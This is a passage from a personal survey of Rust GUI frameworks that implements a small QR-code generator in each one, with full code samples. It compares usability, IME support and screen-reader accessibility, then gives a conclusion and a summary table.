      theme: ThemeData(colorScheme: .fromSeed(seedColor: Colors.indigo)),
      home: Scaffold(
        body: Column(
          children: [
            const Text("Enter text to generate QR code:"),
            TextField(
              onChanged: (text) => TextChanged(text: text).sendSignalToRust(),
            ),
            if (image != null) Image.memory(image, width: 200, height: 200),
          ],
        ),
      ),
    );
  }
}

Link to this section Rosin

Rosin is also a GUI framework that emerged in 2026. Like the Elm Architecture, it centralizes all state at the top of the program. However, unlike Elm, it uses fine-grained reactivity to handle state updates. In addition, it supports styling programs with CSS, which is indeed a novel approach for a GUI library that draws its own widgets.

I originally thought rosin could not accomplish this task, because it has no image widget and does not support loading images in CSS background-image either. But when I tried the next framework, rui, which requires manual drawing on a canvas, I was inspired. So I went back and re-examined rosin’s API. I discovered that rosin provides an on_canvas method for each component node, which exposes the vello context used for drawing that node, so I can manually draw images in it.

IME works properly, and after adding some code to set up accessibility, the screen reader can also recognize the contents of the window. This is quite a good achievement for a framework that is just getting started.

However, rosin still has a ways to go. The current model allows for highly flexible custom components, but the built-in components are still not very rich. Also, rosin’s default styles strongly assume dark mode. If you don’t separately style a text box, its default font color is unreadable against its default background.

Full Code
use std::{str::FromStr, sync::Arc};

use rosin::{
    kurbo::Affine,
    peniko::{Blob, ImageAlphaType, ImageBrush, ImageData, ImageFormat, ImageQuality},
    prelude::*,
    widgets::*,
};

struct State {
    style: Stylesheet,
    input: TextBox,
    text: Var<String>,
}

impl Default for State {
    fn default() -> Self {
        Self {
            style: Stylesheet::from_str(".input { color: #fff; font-family: Hiragino Sans GB; }")
                .unwrap(),
            input: TextBox::default(),
            text: Var::default(),
        }
    }
}

fn main_view(state: &State, ui: &mut Ui<State, WindowHandle>) {
    let text = state.text.downgrade();
    ui.node().style_sheet(&state.style).children(|ui| {
        label(ui, id!(), "Enter text to generate QR code:").on_accessibility(|_, a| {
            a.node.set_role(rosin::accesskit::Role::Label);
            a.node.set_value("Enter text to generate QR code:");
        });
        state
            .input
            .view(ui, id!(), state.text.downgrade())
            .classes("input");
        ui.node()
            .on_canvas(move |_, canvas| draw_qr(canvas, &text.get_or(String::new())));
    });
}

fn draw_qr(canvas: &mut CanvasCtx<'_>, text: &str) {
    let Ok(code) = qrcode::QrCode::new(text.as_bytes()) else {
        return;
    };
    let b = canvas.padding_box();
    let image = code.render::<image::Rgba<u8>>().build();
    let image = ImageData {
        width: image.width(),
        height: image.height(),
        data: Blob::new(Arc::new(image.into_raw())),
        format: ImageFormat::Rgba8,
        alpha_type: ImageAlphaType::Alpha,
    };
    let scale = b.width().min(b.height()) / image.width.min(image.height) as f64;
    canvas.scene.draw_image(
        &ImageBrush::new(image).with_quality(ImageQuality::Low),
        Affine::scale(scale),
    );
}

fn main() {
    let window = WindowDesc::new(callback!(main_view))
        .title("QR Code Generator")
        .size(400, 300);
    AppLauncher::new(window)
        .run(State::default(), TranslationMap::default())
        .expect("Failed to launch");
}

Link to this section Rui

Rui is an “experimental declarative UI library.” It has been over three years since rui’s last release, and it is a pity to see it still in an experimental state. However, I noticed that rui’s GitHub repository became active again last year, and perhaps we will see its next version soon.

Rui’s design is inspired by SwiftUI and adopts a reactive programming model. Rui was created by the author to port their music workstation Audulus to Rust. Although Audulus is not open source, I cannot know its specific implementation. However, based on the fact that it is available on the App Store, as well as other discussions in the rui documentation, I infer that Audulus was developed with SwiftUI.

In the README, the author mentions some of the rationale behind rui’s design. For example, SwiftUI’s extensive texture caching is no longer necessary on modern GPUs, while for lightweight tasks such as layout, although they cannot be accelerated by the GPU, there is no need to cache them in the widget tree. Although I had a hard time understanding this long passage because I have no experience developing GUI frameworks, it is always a good thing to see the author actively communicating their design rationale.

However, rui does not have an image widget; it only has a canvas that can draw using vector operations. So I need to convert the QR code into a series of drawing commands and then draw them onto rui’s canvas.

Neither IME nor screen reader is supported. After analyzing rui’s source code with AI, I found that rui’s accessibility support is only partially implemented. They generate accessibility information for widget nodes, but do not submit it to the system.

For such a simple task, rui’s code is extremely concise. I feel that if rui could add support for pixel images, this task could even be completed in under 20 lines.

Full Code
use rui::*;

fn main() {
    state(String::new, |text, cx| {
        vstack((
            "Enter text to generate QR code:".padding(Auto),
            text_editor(text).padding(Auto),
            qr_code_view(cx[text].clone()).padding(Auto),
        ))
    })
    .window_title("QR Code Generator")
    .run()
}

fn qr_code_view(text: String) -> impl View {
    let (n, modules) = qrcode::QrCode::new(text.as_bytes())
        .map(|code| (code.width(), code.to_colors()))
        .unwrap_or_default();

    canvas(move |_, rect, vger| {
        let size = rect.size.width.min(rect.size.height) / (n as f32 + 8.0);
        let (white, black) = (vger.color_paint(WHITE), vger.color_paint(BLACK));
        vger.fill_rect(rect, 0.0, white);
        for (i, &color) in modules.iter().enumerate() {
            if color == qrcode::Color::Dark {
                let (x, y) = (i % n, i / n);
                let p = rect.origin
                    + LocalOffset::new((x as f32 + 4.0) * size, (n + 3 - y) as f32 * size);
                vger.fill_rect(LocalRect::new(p, LocalSize::new(size, size)), 0.0, black);
            }
        }
    })
    .size([280.0, 280.0])
}

Link to this section SDL3

The sdl3 crate is a Rust binding for the well-known graphics library SDL3. It is a bit strange to include this crate in Are We GUI Yet?, because it can hardly be considered a GUI framework. It merely provides a canvas on which you can draw freely. Although you can draw the widgets you want in it, you need to implement layout, event handling, state management, and other functionality yourself, none of which SDL3 can provide for you.

Rather than Are We GUI Yet?, SDL3 should appear in Are We Game Yet? 10 10. It indeed is . instead.

Link to this section Slint

Slint is a GUI framework that I have always been very fond of; it can basically be considered the Rust version of Qt. It supports multiple platforms such as desktop, mobile, embedded, and Web, and provides bindings for C++, Rust, Node.js, and Python.

Slint uses a dedicated language also called slint as a DSL for writing UIs, which is almost identical to QML in this respect. It also adopts a reactive model based on two-way bindings. Designing a dedicated language to describe GUIs has both advantages and disadvantages compared with keeping all the logic in the host language. The advantage is that you can have syntax and semantics that are better suited to describing GUIs. Another benefit is that you can build an ecosystem around the language itself, such as interface editors, live previews 11 11. Slint’s live previewer is quite handy; it would be even better if it could support displaying CJK characters. , and so on. The disadvantage is that cross-language interaction inevitably introduces friction, especially when logic and state are tightly coupled, requiring you to switch frequently between the two languages.

Both IME and screen reader work properly.

Slint’s VS Code extension can provide code completion and preview support for slint files, and even for slint code snippets embedded in Rust via slint macros. This is undoubtedly a great boost to the developer experience.

In community discussions on Reddit, slint is not as popular as iced or egui. Considering how complete its feature set is, I feel slint deserves more traction. Part of the reason may be that slint adopts a semi-commercial open-source licensing model similar to Qt’s. But this is actually a common practice in the open-source software world, and we shouldn’t be overly critical of normal commercial behavior.

Full Code
use slint::{Image, Rgb8Pixel, SharedPixelBuffer};

slint::slint! {
    import { VerticalBox } from "std-widgets.slint";

    export component AppWindow inherits Window {
        title: "QR Code Generator";
        in-out property <string> text <=> input.text;
        in-out property <image> qr <=> img.source;
        callback text-changed(value: string);
        changed text => {
            root.text-changed(text);
        }
        VerticalBox {
            Text {
                text: "Enter text to generate QR code:";
            }

            input := TextInput { }

            img := Image {
                width: 200px;
                height: 200px;
            }
        }
    }
}

pub fn qr_encode(text: &str) -> anyhow::Result<Image> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<image::Rgb<u8>>().build();
    let buffer =
        SharedPixelBuffer::<Rgb8Pixel>::clone_from_slice(img.as_raw(), img.width(), img.height());
    Ok(Image::from_rgb8(buffer))
}

fn main() -> anyhow::Result<()> {
    let ui = AppWindow::new()?;

    let ui_handle = ui.as_weak();
    ui.on_text_changed(move |text| {
        if let Some(ui) = ui_handle.upgrade()
            && let Ok(qr) = qr_encode(&text)
        {
            ui.set_qr(qr);
        }
    });

    ui.run()?;

    Ok(())
}

Link to this section Tauri

People often describe Tauri as a lightweight Electron written in Rust.

Tauri emerged around the same time as Windows WebView2. Its original goal was to solve the problem of Electron apps bundling an entire Chrome browser and taking up a large amount of disk space. Because Tauri uses the system WebView directly, Tauri apps can be kept very small.

However, Tauri still inherits all the drawbacks of WebView, such as high memory usage and the unavoidable IPC and cross-language friction between the browser and the backend.

Since Tauri can indeed be used to build GUIs for Rust programs, people often compare it with other GUI frameworks. But I think this comparison is somewhat risky. Before you even decide to add a GUI to a program, whether to choose a Web UI is a fundamental fork in the road. State management is usually tightly coupled with the interface. Once you choose a Web UI, you have to start thinking about managing program state on the frontend. And the frontend is often a different language; even if you write the frontend in Rust, you still need to consider the IPC boundary between frontend and backend.

Boringcactus sharply criticized the type safety of Tauri IPC in hir post. Ze then mentioned that ze learned at the Utah Rust meetup about a project called tauri-specta that can improve IPC type safety between Rust and TypeScript. Although this is a survey about Rust GUIs, and writing the interface in TypeScript may be somewhat off-topic, let’s still take a look at how much tauri-specta can improve type safety.

There’s nothing much to say about the interface; both IME and screen reader work properly.

The way tauri-specta works is simpler than expected. It collects every function annotated with #[specta] , parses its type, and exports it in a TypeScript stub file. This stub file contains typed wrappers for Tauri IPC, allowing correct types to be used in TypeScript. Although it sounds simple, it is indeed an effective approach. It would be great if the Tauri team could integrate this solution into their system.

Full Code

Rust:

use base64::Engine;
use specta_typescript::Typescript;
use tauri_specta::{collect_commands, Builder};

#[tauri::command]
#[specta::specta]
fn generate_qr_code(text: &str) -> Result<String, String> {
    qr_encode_data_url(text).map_err(|e| e.to_string())
}

fn qr_encode_data_url(text: &str) -> anyhow::Result<String> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code
        .render::<image::Luma<u8>>()
        .min_dimensions(256, 256)
        .build();

    let mut png = Vec::new();
    img.write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png)?;

    let b64 = base64::engine::general_purpose::STANDARD.encode(&png);
    Ok(format!("data:image/png;base64,{b64}"))
}

fn main() {
    let builder = Builder::<tauri::Wry>::new().commands(collect_commands![generate_qr_code]);

    builder
        .export(Typescript::default(), "../src/bindings.ts")
        .expect("Failed to export typescript bindings");

    tauri::Builder::default()
        .invoke_handler(builder.invoke_handler())
        .setup(move |app| {
            builder.mount_events(app);

            Ok(())
        })
        .run(tauri::generate_context!())
        .expect("error while running tauri application");
}

TypeScript:

import { useEffect, useState } from "react";
import { commands } from "./bindings";

function App() {
  const [text, setText] = useState("");
  const [qrCode, setQrCode] = useState("");

  useEffect(() => {
    commands.generateQrCode(text).then((value) => {
      if (value.status === "ok") {
        setQrCode(value.data);
      }
    });
  }, [text]);

  return (
    <main
      style={{
        display: "flex",
        flexDirection: "column",
        gap: "1rem",
        padding: "1rem",
      }}
    >
      <p>Enter text to generate QR code:</p>
      <input
        id="greet-input"
        value={text}
        onChange={(e) => setText(e.currentTarget.value)}
        placeholder="https://example.com"
      />
      <img src={qrCode} alt="Generated QR Code" />
    </main>
  );
}

export default App;

Link to this section Tessera

“Tessera is a declarative, immediate-mode UI framework for Rust that emphasizes performance, flexibility, and extensibility through a functional approach and pluggable shader system.”

Tessera is also a very new UI framework. Its first version was released in July 2025, and it has now reached version 2.5.0. According to a blog post included in its documentation, Tessera is working on implementing Material Design as a milestone for version 3.0. From that blog post, I get the impression that Tessera has some unique insights into state management for immediate mode GUIs.

However, when I tried it, Tessera could not run on macOS, encountering some errors from wgpu. Hopefully, once it fixes its platform compatibility, we can meet again someday.

Link to this section Tinyfiledialogs

Tinyfiledialogs provides a Rust binding for a C library that offers various small dialogs. It cannot be considered a complete GUI framework, but it does provide some GUI functionality. Its features are not sufficient to accomplish today’s task.

A crate with a similar positioning is rfd , but it is not included on Are We GUI Yet?.

Link to this section Tk

Tk is the Rust binding for Tcl/Tk. I suspect most people’s first exposure to Tcl/Tk comes from the rather idiosyncratic tkinter module in Python’s standard library.

Although Python’s standard library bundles Tk 8.6, using the Tk crate requires having Tk 8.6 installed on your system beforehand. If the version is mismatched – for instance, on my first attempt, the system Tk on macOS was 8.5, which led to some strange compilation errors.

The Tk crate employs clever operator overloading to faithfully replicate the distinctive syntax of Tk commands. If you have a genuine fondness for the Tcl language, you’ll appreciate this design. However, what would likely suit most developers better is to use the host language idiomatically, as Python’s tkinter does. In Rust, for example, the builder pattern would be a more natural fit.

IME works properly, but the screen reader cannot recognize the contents of the window. This is somewhat disappointing, since Tcl/Tk is a long-established UI toolkit and one would expect it to be mature in all respects. However, its age may be a factor: accessibility was not yet a consideration when it was originally designed.

As for the development experience with the Tk crate, despite the author’s thorough tutorial, it still falls short of covering everything needed for real-world GUI development. During development, I found it easier to consult Python’s tkinter documentation instead. The crate also contains several patterns that are quite unidiomatic in Rust. For instance, the tclosure macro matches closure parameters by name, so an incorrect parameter name results in a runtime error. This was not at all obvious when I first wrote the code.

Full Code
use base64::Engine as _;
use tcl::*;
use tk::cmd::*;
use tk::*;

pub fn qr_encode(text: &str) -> anyhow::Result<String> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<::image::Luma<u8>>().build();

    let mut buf = Vec::new();
    img.write_to(
        &mut std::io::Cursor::new(&mut buf),
        ::image::ImageFormat::Png,
    )?;
    Ok(base64::engine::general_purpose::STANDARD.encode(buf))
}

fn main() -> TkResult<()> {
    let tk = make_tk!()?;
    let root = tk.root();
    root.set_wm_title("QR Code Generator")?;

    root.add_ttk_label(-text("Enter text to generate QR code:"))?
        .pack(())?;
    let qr_image = tk.image_create_photo("qr")?;
    let update = tcl::tclosure!(tk, |vldt_new: String| -> TkResult<bool> {
        let interp = tcl_interp!();
        if let Ok(qr) = qr_encode(&vldt_new) {
            interp.run(("qr", "configure", "-data", qr))?;
        } else {
            interp.run(("qr", "blank"))?;
        }
        Ok(true)
    });
    root.add_ttk_entry(-validate("key") - validatecommand(update))?
        .pack(())?;
    root.add_ttk_label("preview" - image(qr_image))?.pack(())?;

    Ok(main_loop())
}

Link to this section Undoredo

Undoredo is not a GUI library. It provides incremental updates, snapshots, and rollback capabilities for various container data structures.

I suspect it is listed on Are We GUI Yet? because it can be used to implement state management in GUI applications. However, placing it alongside other GUI libraries still feels somewhat out of place. Are We GUI Yet? should seriously consider categorizing the crates on its site, similar to how Are We Game Yet? does.

Link to this section Vizia

Vizia is a declarative Rust GUI framework built on a fine-grained reactivity model, with skia as its rendering backend.

I ran into a few hurdles while implementing today’s task with Vizia. Vizia does provide an Image widget, but it is not fully implemented. Although Image accepts a Signal as a parameter, it is not reactive; it only reads the state once at creation. Moreover, while the documentation states that Image can load URLs, examining the implementation revealed that data URLs are not supported. As a result, I had to use the SVG widget to render the QR code instead. Unfortunately, the SVG widget has the same reactivity limitation, so I had to wrap the entire widget in a Binding to make it respond to Signal changes and trigger redraws.

IME works correctly, but when I tried to use a screen reader to inspect the window contents, the program crashed immediately.

This was quite unexpected. With the help of AI, I traced the cause of the crash. In the Textbox ’s on_edit event, modifying the Signal that the text widget itself listens to leaves some internal accessibility information stale. When the screen reader then tries to access it, an out-of-bounds access occurs. The workaround is to avoid passing a listenable signal to the Textbox . However, that introduces another bug: when the text box loses focus, its content disappears because the state update is not propagated back to the widget. This looks like a catch-22. If you handle the state correctly, the screen reader breaks. But if you make the screen reader work, the text box’s state cannot be managed properly.

Full Code
use vizia::prelude::*;

fn qr_svg(text: &str) -> anyhow::Result<String> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let mut renderer = code.render::<qrcode::render::svg::Color>();
    renderer.min_dimensions(200, 200);
    Ok(renderer.build())
}

fn main() -> anyhow::Result<()> {
    Application::new(|cx| {
        let text = Signal::new(String::new());
        let image = Signal::new(None);

        VStack::new(cx, |cx| {
            Label::new(cx, "Enter text to generate QR code:");
            Textbox::new(cx, text)
                .width(Pixels(200.0))
                .on_edit(move |_, new_text| {
                    *image.write() = qr_svg(&new_text).ok();
                    *text.write() = new_text;
                });
            Binding::new(cx, image, move |cx| {
                if let Some(image) = image.get() {
                    Svg::new(cx, image)
                        .size(Pixels(200.0))
                        .fill(Color::transparent())
                        .hoverable(false);
                }
            });
        })
        .alignment(Alignment::Center);
    })
    .title("QR Code Generator")
    .inner_size((400, 400))
    .run()?;
    Ok(())
}

Link to this section WebRender

WebRender is the rendering engine behind Mozilla Firefox and Servo, the browser written in Rust. Its documentation on docs.rs is severely outdated and gives little sense of the library’s actual state. I can’t help but wonder how the Servo developers manage to work under such conditions.

WebRender provides only drawing APIs, and as its wiki notes, these are specialized for browser use cases, which makes it difficult to use the library as a general-purpose GUI framework.

Link to this section Windows

Rust for Windows is a highly ambitious project. Microsoft aims to provide comprehensive Rust bindings for the entire Windows API surface. By using the windows crate, and the windows-sys crate as supplementary, you can call any Windows API directly from Rust. This naturally includes the various GUI frameworks available on Windows, such as Win32 UI and Composition UI.

Calling Windows APIs directly to create GUI interfaces is far too tedious. Even a decade or more ago, nobody would have done such a thing. However, the Rust for Windows repository recently gained a new framework called windows-reactor , which provides a reactive programming layer on top of WinUI 3, making it as convenient to develop with as other Rust GUI frameworks. I’m somewhat curious about it, so let me spin up a Windows VM and see what the development experience with windows-reactor is like.

Link to this section Windows Reactor

Though Windows Reactor is not listed on Are We GUI Yet?, I decided to try it anyway, both for the reasons above and out of curiosity.

Windows Reactor’s state management model is nearly identical to React’s. It replicates hooks like useState and useRef , and, like React, it stores hook data according to call order. Since Dioxus, another React-inspired library, has moved toward a signal-based reactivity model, Windows Reactor is arguably now the Rust GUI library that most closely resembles React.

Overall, its API surface is relatively complete, but there are still some rough edges. For instance, to display an in-memory image, I had to create a canvas and draw the bitmap onto it. Initially, I assumed I would need to use Direct2D APIs directly for drawing. Later, with AI assistance, I found that the windows-canvas crate offers a simpler interface for this purpose.

IME input works as expected. Windows Narrator can read the contents of text boxes but fails to recognize text labels. I’m unsure whether this is because I didn’t set the appropriate accessibility flags in the code, or because Windows Reactor’s accessibility support is still incomplete.

Full Code
use windows_canvas::{ColorF, GpuDevice, Rect};
use windows_reactor::*;

fn app(cx: &mut RenderCx) -> Element {
    let (image, set_image) = cx.use_state(ImageSource::None);

    vstack((
        text_block("Enter text to generate QR code:"),
        text_box(String::new()).on_text_changed(move |text: String| {
            set_image.call(build_qr_surface(&text).unwrap_or_default())
        }),
        Image::new(image).width(200.).height(200.),
    ))
    .spacing(12.0)
    .into()
}

fn build_qr_surface(text: &str) -> anyhow::Result<ImageSource> {
    let img = qrcode::QrCode::new(text.as_bytes())?
        .render::<::image::Rgba<u8>>()
        .build();
    let (width, height) = img.dimensions();
    let device = GpuDevice::new_or_warp()?;
    let surface = CanvasImageSource::new(&device, 200., 200., 1.0)?;
    let _ = surface.draw(ColorF::WHITE, |session| {
        session.draw_bitmap(
            &session.create_bitmap(&img.into_raw(), width, height)?,
            &Rect::from_xywh(0., 0., width as f32, height as f32),
            1.0,
        );
        Ok(())
    })?;
    Ok(surface.image_source())
}

fn main() -> windows_core::Result<()> {
    bootstrap()?;
    App::new().title("QR Code Generator").render(app)
}

Link to this section WinSafe

WinSafe is a Rust binding for the Win32 API, and it offers a high-level, idiomatic abstraction layer for Win32 GUI programming. Interestingly, this library has no dependencies, not even the windows crate, since WinSafe’s history predates it.

Now that I have a Rust development environment set up in the Windows VM, let’s give this library a try as well.

The UI has the familiar, reassuring Win32 look. Both the screen reader and IME work flawlessly.

While most of WinSafe’s API can be used from safe Rust, a few features still lack safe wrappers and require calling the underlying Win32 APIs through unsafe code. Setting the image on a Label in this task is one such case.

Full Code
use std::cell::Cell;
use winsafe::{self as w, gui, msg, prelude::*};

fn main() -> w::AnyResult<()> {
    let wnd = gui::WindowMain::new(gui::WindowMainOpts {
        title: "QR Code Generator",
        size: gui::dpi(224, 283),
        ..Default::default()
    });
    let _ = gui::Label::new(
        &wnd,
        gui::LabelOpts {
            text: "Enter text to generate QR code:",
            position: gui::dpi(12, 12),
            ..Default::default()
        },
    );
    let input = gui::Edit::new(
        &wnd,
        gui::EditOpts {
            position: gui::dpi(12, 41),
            width: gui::dpi_x(200),
            ..Default::default()
        },
    );
    let image = gui::Label::new(
        &wnd,
        gui::LabelOpts {
            text: "",
            position: gui::dpi(12, 71),
            size: gui::dpi(200, 200),
            control_style: w::co::SS::BITMAP | w::co::SS::CENTERIMAGE,
            ..Default::default()
        },
    );
    let (edit, image) = (input.clone(), image.clone());
    let bitmap = Cell::new(None);
    input.on().en_change(move || {
        let next = qrcode::QrCode::new(edit.text()?.as_bytes())
            .ok()
            .map(|qr| {
                let img = qr
                    .render::<image::Rgba<u8>>()
                    .max_dimensions(gui::dpi_x(200) as _, gui::dpi_y(200) as _)
                    .build();
                let (width, height) = img.dimensions();
                let mut bits = img.into_raw();
                w::HBITMAP::CreateBitmap(
                    w::SIZE::with(width as _, height as _),
                    1,
                    32,
                    bits.as_mut_ptr(),
                )
            })
            .transpose()?;
        let handle = unsafe { next.as_deref().unwrap_or(&w::HBITMAP::NULL).raw_copy() };
        let _ = unsafe {
            image.hwnd().SendMessage(msg::StmSetImage {
                image: w::BmpIconCurMeta::Bmp(handle),
            })
        };
        bitmap.set(next);
        Ok(())
    });
    wnd.run_main(None)?;
    Ok(())
}

Link to this section WxDragon

WxDragon is a Rust binding for wxWidgets, a widely used GUI toolkit. Considering wxWidgets’ prominence in the Python ecosystem, it is somewhat surprising that a Rust binding did not appear until 2025.

Both IME input and screen reader functionality work as expected.

Apart from wxWidgets’ somewhat idiosyncratic widget naming conventions, there is little to fault in this binding. Despite being relatively new, it already covers virtually every aspect of wxWidgets. Since wxWidgets itself is a mature toolkit, I see no issue with using this binding in a production environment.

Full Code
use wxdragon::prelude::*;

pub fn qr_encode(text: &str) -> Option<Bitmap> {
    let code = qrcode::QrCode::new(text.as_bytes()).ok()?;
    let img = code.render::<image::Rgba<u8>>().build();
    Bitmap::from_rgba(img.as_raw(), img.width(), img.height())
}

fn main() -> Result<(), Box<dyn std::error::Error>> {
    wxdragon::main(|_| {
        let frame = Frame::builder().with_title("QR Code Generator").build();

        let sizer = BoxSizer::builder(Orientation::Vertical).build();

        let label = StaticText::builder(&frame)
            .with_label("Enter text to generate QR code:")
            .build();
        sizer.add(&label, 1, SizerFlag::AlignCenterHorizontal, 0);

        let input = TextCtrl::builder(&frame).build();
        sizer.add(&input, 1, SizerFlag::AlignCenterHorizontal, 0);

        let image = StaticBitmap::builder(&frame)
            .with_bitmap(qr_encode(""))
            .build();
        sizer.add(&image, 1, SizerFlag::AlignCenterHorizontal, 0);

        input.on_text_changed(move |ev| {
            if let Some(qr) = ev.get_string().and_then(|text| qr_encode(&text)) {
                image.set_bitmap(&qr)
            }
        });

        frame.set_sizer(sizer, true);
        frame.show(true);
    })
}

Link to this section Xilem

Finally, we are almost at the tail end of this list.

Xilem is a reactive Rust GUI framework built on the previously mentioned Masonry, and it provides a reactive user-interface layer on top of it.

Xilem has a blog post explaining their understanding of implementing reactive GUI interfaces in Rust. It is an excellent article and is very helpful for understanding reactive GUI frameworks, as well as why many Rust GUI frameworks are designed the way they are. After reading it, I did see traces of the ideas proposed by Xilem in some of the frameworks I encountered in this survey, such as how blinc and KAS handle stateful components.

Floem mentions in its documentation that it was also influenced by Xilem, and Xilem says in its blog that its design was influenced by rui. I think it would be interesting if someone could organize the relationships of mutual influence among these Rust GUI frameworks into a diagram similar to a biological evolutionary tree.

Like the underlying Masonry, IME and screen reader are both available. However, because Xilem does not expose Masonry’s interface for setting the font for text input, CJK characters in text input cannot be displayed correctly.

Full Code
use xilem::masonry::peniko::{ImageAlphaType, ImageData};
use xilem::view::{flex_col, image, label, text_input};
use xilem::{EventLoop, ImageFormat, WidgetView, WindowOptions, Xilem};

fn qr_encode(text: &str) -> anyhow::Result<ImageData> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<image::Rgba<u8>>().build();
    let (width, height) = img.dimensions();
    Ok(ImageData {
        data: img.into_raw().into(),
        format: ImageFormat::Rgba8,
        alpha_type: ImageAlphaType::AlphaPremultiplied,
        width,
        height,
    })
}

fn app_logic(text: &mut String) -> impl WidgetView<String> + use<> {
    flex_col((
        label("Enter text to generate QR code:"),
        text_input(text.clone(), |text, new_text| *text = new_text),
        qr_encode(text).ok().map(image),
    ))
}

fn main() -> anyhow::Result<()> {
    let app = Xilem::new_simple(
        String::new(),
        app_logic,
        WindowOptions::new("QR Code Generator"),
    );
    app.run_in(EventLoop::with_user_event())?;
    Ok(())
}

Link to this section Yew

Yew is a React-style framework for developing web apps, and like Leptos, it does not have native desktop GUI support.

Link to this section Conclusion

Well, it is time to bring this long journey to a close and, in doing so, single out the winners of this survey, or, to put it more modestly, the frameworks I would be willing to use.

In the winners’ circle are slint and egui. Beyond having APIs free of obvious friction or pitfalls, they also provide solid support for IME and accessibility. They respectively occupy the two thrones of retained-mode UI and immediate-mode UI.

There are also frameworks that appeal to me in certain niche areas. For example, Crux paired with SwiftUI, and rinf paired with Flutter. And if I were willing to adopt a WebView, Dioxus or Tauri + tauri-spectra would be reasonable choices.

Other frameworks fall just short of the winners’ circle due to minor drawbacks, cushy, Freya, Floem, Iced, Relm4, and Xilem, for instance. I also find their API designs quite appealing. Unfortunately, they are somewhat lacking in input method or accessibility support. Should they continue to improve in these areas, their future looks promising.

Of course, this survey is only a snapshot, and a rather subjective one. A framework that excels in this simple scenario may not necessarily handle more complex programs. Still, this exercise exposed the parts of GUI development that are hardest to fake. Rust has plenty of promising GUI projects, but the ecosystem has not yet converged on a universally accepted, boring choice.

I may also have made mistakes in this survey due to personal oversights. If you find anything I have written that does not match the facts, please contact me and point it out.

Curious about the disk space this survey used?
$ dust -d 1 .
213M   ┌── windows-rs               │█           │   0%
292M   ├── hello-qmetaobject        │█           │   0%
568M   ├── hello-cacao              │█           │   1%
597M   ├── hello-fltk               │█           │   1%
659M   ├── hello-makepad            │█           │   1%
744M   ├── hello-relm4              │█           │   1%
769M   ├── hello-gtk4               │█           │   1%
786M   ├── hello-tk                 │█           │   1%
923M   ├── hello-ply                │█           │   1%
939M   ├── hello-azul               │█           │   1%
1.0G   ├── hello_flutter_rust_bridge│█           │   1%
1.2G   ├── hello-relm               │█           │   1%
1.5G   ├── hello_rinf               │█           │   2%
1.6G   ├── hello-lvgl               │█           │   2%
1.6G   ├── hello-cxx-qt             │█           │   2%
1.7G   ├── hello-floem              │█           │   2%
1.8G   ├── hello-cushy              │█           │   2%
1.8G   ├── hello-fui                │█           │   2%
1.8G   ├── hello-pane-ui            │█           │   2%
1.8G   ├── hello-dioxus             │█           │   2%
1.9G   ├── hello-gtk                │█           │   2%
1.9G   ├── azul                     │█           │   2%
1.9G   ├── hello-egui               │█           │   2%
2.1G   ├── hello-xilem              │█           │   2%
2.1G   ├── hello-gemgui             │█           │   2%
2.1G   ├── hello-imgui              │█           │   2%
2.2G   ├── hello-masonry            │█           │   2%
2.2G   ├── hello-rui                │█           │   2%
2.4G   ├── hello-tessera            │█           │   3%
2.5G   ├── hello-freya              │█           │   3%
2.8G   ├── hello-pax                │█           │   3%
2.8G   ├── hello-iced               │█           │   3%
3.0G   ├── hello-kas                │█           │   3%
3.4G   ├── hello-vizia              │█           │   4%
3.9G   ├── hello-rosin              │█           │   4%
4.2G   ├── hello-slint              │█           │   4%
4.6G   ├── hello-tauri              │█           │   5%
4.6G   ├── hello-wxdragon           │█           │   5%
5.0G   ├── hello-blinc              │█           │   5%
5.1G   ├── hello-crux               │█           │   5%
5.7G   ├── hello-gpui               │█           │   6%
6.1G   ├── hello-ribir              │█           │   6%
 94G ┌─┴ .                          │███████████ │ 100%
Some extra words about the user interface design

GUI is a discipline of composition. A GUI consists of many components, each with its own functionality, and the framework’s job is to ensure that, when combined, they can cooperate to deliver more complete functionality. This involves many forms of composition: component with component, component with state, and state with state.

The manner of composition determines the shape of the user interface, because different components and different states typically have different types. To compose values of different types together, some non-trivial design is always required, whether through tuples or similar combinators (cushy, floem, xilem), through an imperative approach of inserting components into the interface one at a time (egui, rosin, vizia), through a degree of macro magic (iced, KAS, ribir), or even by inventing a dedicated language (slint).

Some may argue that in 2026, with coding agents all the rage, interface designs no longer need to prioritize human readability. But that is no excuse for a framework author to abandon their aesthetic exploration. Only with a thorough, holistic understanding of the entire system’s design, and from a high-level perspective, can one produce a user interface that is both concise and elegant. If a library offers only interfaces riddled with friction or obscurity, one may rightly question whether its author has made a genuine effort to explore this field.

Link to this section The Table

Library Usability Accessibility IME Support
Azul 😭 cannot read fonts
blinc 🟡 API friction ❌ No 🟡 composer position bad; CJK fonts unsupported
cacao ✅ OK (macOS only) ❌ No ✅ OK
Core Foundation 😭 low-level API
Crux ✅ OK (SwiftUI) ✅ OK ✅ OK
cushy ✅ OK ❌ No 🟡 composer hidden
CXX-Qt 🟡 environment setup ✅ OK ✅ OK
Dioxus ✅ OK (WebView) ✅ OK ✅ OK
dominator web only
egui ✅ OK ✅ OK 🟡 CJK font setup
floem ✅ OK ❌ No ❌ No
FLTK ✅ OK ✅ OK (with extra setup) ✅ OK
Flutter Rust Bridge ✅ OK (Flutter) ✅ OK ✅ OK
Freya ✅ OK ❌ No ✅ OK
Fui no macOS support
gemgui ✅ OK (pywebview) ✅ OK ✅ OK
GPUI 🟡 no text input widget ❌ I don’t know how to get it work 🟡 crash
GTK 3 🟡 use specific commit ❌ No ❌ No
GTK 4 ✅ OK ❌ No ✅ OK
iced ✅ OK ❌ No ✅ OK
imgui 🟡 boilerplate ❌ No ❌ No
KAS 🟡 API friction ❌ No ❌ No
kittest not a GUI framework
Leptos web only
lvgl 🟡 embedded only ❌ No ❌ No
Makepad 🟡 poor documentation ❌ No 🟡 composer hidden
masonry 🟡 low-level ✅ OK ✅ OK
Maycoon deprecated
Pane UI 😭 cannot load images
Pax 😭 failed to compile
ply 🟡 odd default values ✅ OK (with extra setup) ❌ No
QMetaObject 🟡 environment setup ✅ OK ✅ OK
Relm ✅ OK ❌ No ❌ No
Relm4 ✅ OK ❌ No ✅ OK
Ribir 🟡 cryptic macros ❌ No ✅ OK
rinf ✅ OK (Flutter) ✅ OK ✅ OK
